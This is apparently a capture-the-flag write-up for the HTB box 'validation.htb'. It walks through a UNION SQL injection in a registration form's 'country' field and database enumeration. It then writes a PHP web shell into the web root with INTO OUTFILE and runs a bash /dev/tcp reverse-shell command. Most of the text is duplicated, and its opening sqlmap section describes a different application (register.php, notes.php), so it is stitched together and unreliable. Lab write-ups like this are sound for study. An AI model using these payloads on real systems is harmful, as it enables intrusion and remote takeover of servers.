In a typical SQL Injection user input is used to build a query in an unsafe way. Typically the result is observed immediately. But in a second order SQL Injection user input is stored by the application and then later used in an unsafe way. That is the case here where input at register.php will be stored in the database. Later when a POST is made to login that will be pulled and validated. And then on redirection the username is used to query the database to get the notes associated with that user. However if we create a user with the right user name we can corrupt this query so that additional data is displayed.
Before using sqlmap to go after this vulnerability we want to get a feel for what is possible. At the registration page we’ll create a user a' --, and when we log in. We notice the message “SQL ERROR”.
A standard SQLi attack with SQLMap (even at most aggressive) is going to fail as the injection happens at the registration but then isn’t visible until later at the notes home page.
To do this successfully with SQLMap you would need to do the following steps:
Create an account with username being the injectable item
via tamper script
Login with that account
sqlmap main functionality
Visit /notes.php to look for results
--second-order flag to tell sqlmap to visit /notes.php to look for output
alternatively we could leave this off and allow sqlmap to follow the redirect it gets back from logging in
But there is another field sent in the POST request. If I kick the POST over to Burp Repeater I can try to check for SQLi in the country. On submitting, there’s just a 302 in return.
If I use that cookie (from response) to request /account.php there’s an error. I can guess that the SQL query on the page looks like:
POST /index.php HTTP/1.1
Host: validation.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://validation.htb
Connection: close
Referer: http://validation.htb/index.php
Cookie: user=48214cd2e471ddf84b599837b35fb6b9
Upgrade-Insecure-Requests: 1
username=greyhound&country=Brazil'
A UNION injection is when I add a UNION statement to the query allowing me to make a new query and append the results to the intended query. I’ll need to match the same number of columns or the query will error. I’ll start with Brazil' UNION SELECT 1;-- -. That would make the query:
SELECT username from players where country = 'Brazil' UNION SELECT 1;-- -';
That 1 at the end is the result of the union. If I change the 1 to user() i get the name of the user for the DB:
username=greyhound&country=Brazil' union select user();-- -
2ndordersqli.py (Python3): https://pastebin.com/F1MjpcjG
How the script works:
root@kali~# python3 2ndordersqli.py
$ select user()
uhc@localhost
$ select database()
registration
$ select schema_name from information_schema.schemata
information_schema
performance_schema
mysql
registration
$ select table_name from information_schema.tables where table_schema = 'registration'
registration
$ select column_name from information_schema.columns where table_name = 'registration'
username
userhash
country
regtime
Another thing to try is writing a file:
$ select "pwn incoming" into outfile '/var/www/html/test.txt'
It doesn’t return anything because if it worked it would return 0 columns when it’s trying to union with 1 column which will lead to an error (after it writes the file).
$ select "<?php SYSTEM($_REQUEST['cmd']); ?>" into outfile '/var/www/html/shell.php'
http://validation.htb/shell.php?cmd=id Got RCE.
curl http://validation.htb/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$IP/1337 0>&1"'
Have necat listening and you got a shell. Creds to the almighty 0xdf!
-0xgh64/greyhound
Before using sqlmap to go after this vulnerability we want to get a feel for what is possible. At the registration page we’ll create a user a' --, and when we log in. We notice the message “SQL ERROR”.
A standard SQLi attack with SQLMap (even at most aggressive) is going to fail as the injection happens at the registration but then isn’t visible until later at the notes home page.
To do this successfully with SQLMap you would need to do the following steps:
Create an account with username being the injectable item
via tamper script
Login with that account
sqlmap main functionality
Visit /notes.php to look for results
--second-order flag to tell sqlmap to visit /notes.php to look for output
alternatively we could leave this off and allow sqlmap to follow the redirect it gets back from logging in
But there is another field sent in the POST request. If I kick the POST over to Burp Repeater I can try to check for SQLi in the country. On submitting, there’s just a 302 in return.
If I use that cookie (from response) to request /account.php there’s an error. I can guess that the SQL query on the page looks like:
POST /index.php HTTP/1.1
Host: validation.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://validation.htb
Connection: close
Referer: http://validation.htb/index.php
Cookie: user=48214cd2e471ddf84b599837b35fb6b9
Upgrade-Insecure-Requests: 1
username=greyhound&country=Brazil'
A UNION injection is when I add a UNION statement to the query allowing me to make a new query and append the results to the intended query. I’ll need to match the same number of columns or the query will error. I’ll start with Brazil' UNION SELECT 1;-- -. That would make the query:
SELECT username from players where country = 'Brazil' UNION SELECT 1;-- -';
That 1 at the end is the result of the union. If I change the 1 to user() i get the name of the user for the DB:
username=greyhound&country=Brazil' union select user();-- -
2ndordersqli.py (Python3): https://pastebin.com/F1MjpcjG
How the script works:
root@kali~# python3 2ndordersqli.py
$ select user()
uhc@localhost
$ select database()
registration
$ select schema_name from information_schema.schemata
information_schema
performance_schema
mysql
registration
$ select table_name from information_schema.tables where table_schema = 'registration'
registration
$ select column_name from information_schema.columns where table_name = 'registration'
username
userhash
country
regtime
Another thing to try is writing a file:
$ select "pwn incoming" into outfile '/var/www/html/test.txt'
It doesn’t return anything because if it worked it would return 0 columns when it’s trying to union with 1 column which will lead to an error (after it writes the file).
$ select "<?php SYSTEM($_REQUEST['cmd']); ?>" into outfile '/var/www/html/shell.php'
http://validation.htb/shell.php?cmd=id Got RCE.
curl http://validation.htb/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$IP/1337 0>&1"'
Have necat listening and you got a shell. Creds to the almighty 0xdf!
-0xgh64/greyhound
just some guy